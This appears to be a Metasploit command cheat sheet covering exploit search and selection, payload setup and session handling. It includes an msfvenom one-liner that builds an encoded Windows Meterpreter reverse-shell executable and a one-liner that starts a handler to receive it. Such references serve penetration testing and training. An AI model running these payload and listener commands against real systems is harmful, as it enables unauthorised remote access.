Skip to content

Metasploit CommandsΒΆ

To Display All Exploits Related to a Specific Vulnerability

search exploit <vulnerability>

To Choose a Specific Exploit for Use

use exploit/<exploit_name>

To Review Current Configuration Settings of the Selected Exploit

options

To List Payloads Compatible With the Chosen Exploit

show payloads

To Assign a Specific Payload to the Current Exploit

set PAYLOAD <payload_name>

To Configure an Option for the Active Exploit or Payload

set <option_name> <value>

To Execute the Configured Exploit

run
or
exploit

Command to Generate a Windows Payload in One Line

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<listening_host> LPORT=<listening_port> -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /path/to/payload.exe

One-Line Command to Initiate a Meterpreter Session

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <listening_host>; set LPORT <listening_port>; exploit;"

Additional Commands for Enhanced Metasploit Usage

To Display Information About a Specific Module

info

To Set Up a Multi-Handler for Receiving Reverse Connections

use exploit/multi/handler

To Save the Current Configuration to a File for Later Use

save

To Load a Previously Saved Configuration

load <file_name>

To Background a Current Session Without Closing It

background

To List All Active Sessions

sessions

To Interact With a Specific Meterpreter Session

sessions -i <session_number>

To Display the Metasploit Version and Environment Information

version